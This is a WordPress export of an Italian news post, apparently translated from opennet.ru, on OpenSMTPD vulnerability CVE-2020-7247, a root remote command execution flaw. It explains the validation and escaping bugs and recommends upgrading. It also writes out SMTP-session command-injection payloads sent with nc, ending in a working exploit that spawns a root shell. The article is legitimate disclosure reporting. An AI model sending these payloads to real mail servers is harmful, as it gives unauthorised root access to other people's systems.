{"id":55807,"date":"2020-01-29T00:00:00","date_gmt":"2020-01-28T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root"},"modified":"2020-02-18T14:03:57","modified_gmt":"2020-02-18T11:03:57","slug":"uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","title":{"rendered":"Vulnerabilit\u00e0 in OpenSMTPD che consente di eseguire codice remoto con privilegi di root","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Nel progetto in evoluzione del server di posta OpenBSD OpenSMTPD<\/a><\/noindex> \u00e8 stata rilevata vulnerabilit\u00e0 critica<\/a><\/noindex> (CVE-2020-7247), che consente di eseguire comandi shell da remoto sul server con i privilegi dell'utente root. La vulnerabilit\u00e0 \u00e8 stata rilevata durante un audit di follow-up condotto da Qualys Security (il precedente audit di OpenSMTPD \u00e8 stato effettuato<\/a><\/noindex> nel 2015, e la nuova vulnerabilit\u00e0 \u00e8 presente da maggio 2018). Il problema risolto<\/a><\/noindex> \u00e8 stato corretto nella versione OpenSMTPD 6.6.2. Si raccomanda a tutti gli utenti di installare urgentemente l'aggiornamento (per OpenBSD, la correzione pu\u00f2 essere installata tramite syspatch).<\/p>\n

Sono state proposte due varianti di attacco. La prima variante funziona con la configurazione predefinita di OpenSMTPD (accettazione delle richieste solo da localhost) e consente di sfruttare il problema localmente, quando l'attaccante ha la possibilit\u00e0 di accedere all'interfaccia di rete locale (loopback) sul server (ad esempio, nei sistemi di hosting). La seconda variante appare nel caso di configurazione di OpenSMTPD per accettare richieste di rete esterne (server di posta che accetta email da terze parti). I ricercatori hanno preparato un prototipo di exploit che funziona con successo sia con la versione di OpenSMTPD inclusa in OpenBSD 6.6, sia con la versione portabile per altri sistemi operativi (testato in Debian Testing).<\/p>\n

Il problema \u00e8 causato da un errore nella funzione smtp_mailaddr(), chiamata per verificare la correttezza dei valori nei campi \u00abMAIL FROM\u00bb e \u00abRCPT TO\u00bb, che definiscono il mittente e il destinatario e vengono trasmessi durante la connessione al server di posta. Per controllare la parte dell'indirizzo e-mail che precede il simbolo \u00ab@\u00bb, in smtp_mailaddr() viene invocata la funzione
\nvalid_localpart(), che considera validi (MAILADDR_ALLOWED) i caratteri \u00ab!#$%\u2018*?^`{|}~+-=_\u00bb in conformit\u00e0 alle specifiche RFC 5322. <\/p>\n

In questo caso, l'escaping diretto della stringa viene effettuato dalla funzione mda_expand_token(), che sostituisce solo i caratteri \u00ab!#$%\u2018*?`{|}~\u00bb (MAILADDR_ESCAPE). Successivamente, la stringa preparata in mda_expand_token() viene utilizzata nella chiamata all'agenzia di consegna (MDA) tramite il comando \u2018execle(\u2018\/bin\/sh\u2019, \u2018\/bin\/sh\u2019, \u2018-c\u2019, mda_command,\u2026\u2019. Nel caso in cui la mail venga memorizzata in mbox tramite \/bin\/sh, viene eseguita la stringa \u2018\/usr\/libexec\/mail.local -f %%{mbox.from} %%{user.username}\u2019, dove il valore \u2018%%{mbox.from}\u2019 include i dati esaminati dal parametro \u2018MAIL FROM\u2019.<\/p>\n

La vulnerabilit\u00e0 consiste nel fatto che smtp_mailaddr() presenta un errore logico, per cui nel caso venga trasmesso un dominio vuoto nell'e-mail, la funzione restituisce un codice di verifica positivo, anche se la parte dell'indirizzo prima di \u2018@\u2019 contiene caratteri non validi. Inoltre, quando la stringa \u00e8 preparata dalla funzione mda_expand_token(), non vengono eseguiti l'escaping di tutti i possibili caratteri speciali della shell, ma solo i caratteri speciali validi per l'indirizzo email. Cos\u00ec, per eseguire il proprio comando \u00e8 sufficiente utilizzare nella parte locale dell'email il carattere \u2018;\u2019 e uno spazio, che non fanno parte del set MAILADDR_ESCAPE e non vengono sottoposti ad escaping. Ad esempio:<\/p>\n

$ nc 127.0.0.1 25<\/p>\n

HELO professor.falken
\n MAIL FROM:<;sleep 66;>
\n RCPT TO:<root>
\n DATA
\n .
\n QUIT<\/p>\n

Dopo questa sessione, OpenSMTPD avvier\u00e0 tramite shell il comando durante la consegna in mbox <\/p>\n

\/usr\/libexec\/mail.local -f ;sleep 66; root<\/p>\n

Inoltre, le possibilit\u00e0 di attacco sono limitate al fatto che la parte locale dell'indirizzo non pu\u00f2 superare i 64 caratteri, e i caratteri speciali \u2018$\u2019 e \u2018|\u2019 vengono sostituiti da \u2018:\u2019 durante l'escaping. Per bypassare questa limitazione si \u00e8 utilizzato il fatto che il corpo dell'email viene trasferito dopo l'esecuzione di \/usr\/libexec\/mail.local tramite il flusso di input, cio\u00e8 con manipolazioni dell'indirizzo si pu\u00f2 avviare solo l'interprete comandi sh e utilizzare il corpo dell'email come insieme di istruzioni. Poich\u00e9 all'inizio dell'email vengono specificate le intestazioni SMTP di controllo, si propone di utilizzare la chiamata al comando read in un ciclo per saltare queste intestazioni. L'exploit funzionante assume circa questo aspetto:<\/p>\n

$ nc 192.168.56.143 25<\/p>\n

HELO professor.falken
\n MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
\n RCPT TO:<root@example.org>
\n DATA
\n #0
\n #1
\n …
\n #d
\n for i in W O P R; do
\n echo -n \u2018($i) \u2019 && id || break
\n done > \/root\/x.`id -u`.$$$
\n .
\n QUIT<\/p>\n

<\/a><\/noindex><\/p>\n

Fonte: opennet.ru<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2020-7247), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430, \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Qualys Security (\u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 OpenSMTPD \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0441\u044f \u0432 2015 \u0433\u043e\u0434\u0443, \u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 \u043c\u0430\u044f 2018 \u0433\u043e\u0434\u0430). \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 OpenSMTPD 6.6.2. \u0412\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-55807","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47 Vulnerabilit\u00e0 in OpenSMTPD che consente di eseguire codice da remoto con privilegi di root | ProHoster","description":"Nel progetto in sviluppo OpenBSD, \u00e8 stata identificata una vulnerabilit\u00e0 nel server di posta OpenSMTPD.","canonical_url":"https:\/\/prohoster.info\/it\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"it_IT","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 OpenSMTPD, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root | ProHoster","og:description":"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430","og:url":"https:\/\/prohoster.info\/it\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-01-28T21:00:00+00:00","article:modified_time":"2020-02-18T11:03:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"55807","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 19:36:30","updated":"2022-10-09 15:09:19","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts\/55807","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/comments?post=55807"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts\/55807\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/media?parent=55807"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/categories?post=55807"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/tags?post=55807"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}